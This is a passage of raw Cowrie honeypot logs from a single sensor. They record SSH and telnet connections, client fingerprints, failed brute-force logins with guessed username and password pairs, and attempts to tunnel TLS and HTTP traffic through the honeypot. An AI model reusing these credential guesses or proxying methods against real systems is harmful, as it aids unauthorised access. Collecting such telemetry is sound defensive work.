http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VGJTJVE3cEpRSCVWKjlOXg%3D%3D4XZjVZnwaIW6rOf%2FRBIkilKYsMuSrb%2B4Q43Pfj4FDOveapWX4wutPwyWkaLmpMf6L%2FGd1Grvgd65zjubEqgZ4M0yOPJ2qx4akXvvBUcrTPIe6q%2BKCc06lej93GethXLJ6qgnYHBdFdU6HDQR90vYqAyr2AfUuaRHK3XEd1jNUSHdds3w%2FC41e0JN8Dlr9PHOweb7VL%2Fslvm8LJQXujSiOva3PkXRRqdrnJxTHD%2BVDJj%2BoYADOX26dbex0wbh1z9GWSDrc2hRnq%2F%2BY1A0s8nvSRyBtSYG5tA7xUiafMuid6HfDmD3hpC2gcew3z9lnDvpwJMpLHj2P2UPT3H1hItKwkQ%2BqWOKry12JWbEcnF0ubb8%2FImPKf6G8FeS47ZaRdhk2MKQtXX3yi5pynLiRsH8NhTzy%2F7Wty6ZpU%2BumifWecE8HeW%2BNEfulI2%2FBLD4lzoRkKuqBRdsDA8Ue1a9gD%2FfLcL2vof8%2ByC1EQCZly%2FdbDgR%2BQktbLynV1%2B6AGsb5gW4cTX%2FtOZRy2%2BgUVHsUIfD3yXGFNBu3nqDIuMl0%2Bw10F8kcQ4z3NNFp7%2B7AyzkHQLvawaK67X9gV778b3ED7zQh7tfU4057mzydiinDdSNCtM7Prb34NiPGo5XgxXPFp6RIsIeL31fJp1jJZsUNb3ARny9hmnaPValUtBg5BhZnpbs21%2FFjSvkGgc9X9ntn7I%2Fm6FotgyRzjPCEl%2F0ON7ilYoYcViDoSAStgDI%2BR%2FrgGA%2FzeLPzgpEn7KF2naVfGjIOQbVq0tX5%2BnuTUUMCNuzXsI3nNeLpn2542jH8kYnnaP8D8ijM%2FIWmX%2FTV24dImm%2BHYnt%2BtT0g4evTL5YlESm2ZlcF6A4Y9F%2FlwV2DaIb%2BymvlrCcX99jlFuQny5qtGEHb1q53HtaZaaOqUegWHolSkvfHwnX%2BbAgEWMYKmxbYrtVhld0FhwrOFIdTSH%2F9RARXp%2FrFydMRw%2FH3leHzt6y7lqhZEHRguF1PZEXaZMjPAyQx4IgRDWSkAz1Ioxk53HgVuDFFhwKbog4pmlIaNRj3ydHzHvoweq1LMg6lflmlRvpL8Q5GSJ57ehq1g%2FZt4Wb'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:19.679802Z","src_ip":"173.208.192.194","session":"99477fbf9ec2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:20.684359Z","session":"99477fbf9ec2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:20.719750Z","src_ip":"173.208.192.194","session":"99477fbf9ec2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03P\\x1e\\x91!\\xa0a\\xe8\\xcb\\xf8\\xd8\\xcc\\xcf\\xea+zB\\x88\\x90\\xae\\xd6y\\x86;\\x05q\\xe0\\xcd\\x9f\\x8c\\xb0\\x9b( \\xd8\\xf4\\x80or\\xf0\\x12O\\x13\\xae\\x079\\xc1\\xec\\xed\\x17\\x07h\\x8eQq\\rd\\xc9\\xd0\\xcc\\xb6\\xd7\\xf6\\xec\\x86\\xb6\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 u\\xab\\xb83\\xcdE-h|\\x12l\\xb0\\x1bd\\xc0\\xef\\xc5\\x05~\\x02\\xe4ip\\xf10\\x04\\x08\\xef\\x97X\\xa1\\x03\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03P\\x1e\\x91!\\xa0a\\xe8\\xcb\\xf8\\xd8\\xcc\\xcf\\xea+zB\\x88\\x90\\xae\\xd6y\\x86;\\x05q\\xe0\\xcd\\x9f\\x8c\\xb0\\x9b( \\xd8\\xf4\\x80or\\xf0\\x12O\\x13\\xae\\x079\\xc1\\xec\\xed\\x17\\x07h\\x8eQq\\rd\\xc9\\xd0\\xcc\\xb6\\xd7\\xf6\\xec\\x86\\xb6\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 u\\xab\\xb83\\xcdE-h|\\x12l\\xb0\\x1bd\\xc0\\xef\\xc5\\x05~\\x02\\xe4ip\\xf10\\x04\\x08\\xef\\x97X\\xa1\\x03\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:20.722624Z","src_ip":"173.208.192.194","session":"99477fbf9ec2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:20.758806Z","session":"99477fbf9ec2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:20.793043Z","src_ip":"173.208.192.194","session":"99477fbf9ec2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd7\"\\xd3\\xa5\\x88\\xcfX\\xbd\\xf3\\xe0\\xb6\\xdd~)\\xe8\\xffJxO\\xe9\\xd4\\x96\\xf3\\xb1\\x87\\xb7B\\x8bqU\\xaf} ^q\\x86\\x9a7\\xd6\\x85v4\\xeb\"\\xaa\\x98/h\\\\\\x07\\xfb\\xc5|R\\xc3\\xeeM\\t/\\xa6\\x1b\"\\xba\\x04\\xf3\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa4\\xe7\\x10q&O\\xc4\\xf4\\xf4piz\\x06\\xadFF\\xa0=\\x96e\\x14\\x84\\xdc;@\\x9dNy\\x8b\\xc0\\xda\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd7\"\\xd3\\xa5\\x88\\xcfX\\xbd\\xf3\\xe0\\xb6\\xdd~)\\xe8\\xffJxO\\xe9\\xd4\\x96\\xf3\\xb1\\x87\\xb7B\\x8bqU\\xaf} ^q\\x86\\x9a7\\xd6\\x85v4\\xeb\"\\xaa\\x98/h\\\\\\x07\\xfb\\xc5|R\\xc3\\xeeM\\t/\\xa6\\x1b\"\\xba\\x04\\xf3\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa4\\xe7\\x10q&O\\xc4\\xf4\\xf4piz\\x06\\xadFF\\xa0=\\x96e\\x14\\x84\\xdc;@\\x9dNy\\x8b\\xc0\\xda\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:20.796326Z","src_ip":"173.208.192.194","session":"99477fbf9ec2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.820483446121216,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:21.062277Z","src_ip":"172.81.62.90","session":"ce2f8e9ad49f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"22.8","message":"Connection lost after 22.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:22.100623Z","src_ip":"23.175.50.52","session":"b22596526b02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54832,"dst_ip":"159.203.135.109","dst_port":23,"session":"379c09017bc3","protocol":"telnet","message":"New connection: 128.199.8.54:54832 (159.203.135.109:23) [session: 379c09017bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:22.588036Z"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:23.457250Z","src_ip":"173.208.192.194","session":"99477fbf9ec2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":41844,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bf4a20d8a66","protocol":"ssh","message":"New connection: 103.60.242.169:41844 (159.203.135.109:22) [session: 2bf4a20d8a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:24.354671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:24.358711Z","src_ip":"103.60.242.169","session":"2bf4a20d8a66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:24.618542Z","src_ip":"103.60.242.169","session":"2bf4a20d8a66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56458,"dst_ip":"159.203.135.109","dst_port":23,"session":"c47434793d7b","protocol":"telnet","message":"New connection: 128.199.8.54:56458 (159.203.135.109:23) [session: c47434793d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:25.605060Z"}
{"eventid":"cowrie.login.failed","username":"jason","password":"Jason123!","message":"login attempt [jason/Jason123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:25.689748Z","src_ip":"103.60.242.169","session":"2bf4a20d8a66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51368,"dst_ip":"159.203.135.109","dst_port":23,"session":"4506fd930a2a","protocol":"telnet","message":"New connection: 172.81.62.90:51368 (159.203.135.109:23) [session: 4506fd930a2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:26.943156Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:26.960426Z","src_ip":"103.60.242.169","session":"2bf4a20d8a66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51382,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ca76d75e694","protocol":"telnet","message":"New connection: 172.81.62.90:51382 (159.203.135.109:23) [session: 1ca76d75e694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:28.382140Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":36378,"dst_ip":"10.17.0.5","dst_port":22,"session":"72020892c0f8","protocol":"ssh","message":"New connection: 27.71.230.31:36378 (10.17.0.5:22) [session: 72020892c0f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:36.185653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:36.198009Z","src_ip":"27.71.230.31","session":"72020892c0f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:36.641004Z","src_ip":"27.71.230.31","session":"72020892c0f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrativo01","message":"login attempt [root/administrativo01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:39.422704Z","src_ip":"27.71.230.31","session":"72020892c0f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":2772,"dst_ip":"159.203.135.109","dst_port":22,"session":"585749eff079","protocol":"ssh","message":"New connection: 49.247.37.22:2772 (159.203.135.109:22) [session: 585749eff079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:39.683530Z"}
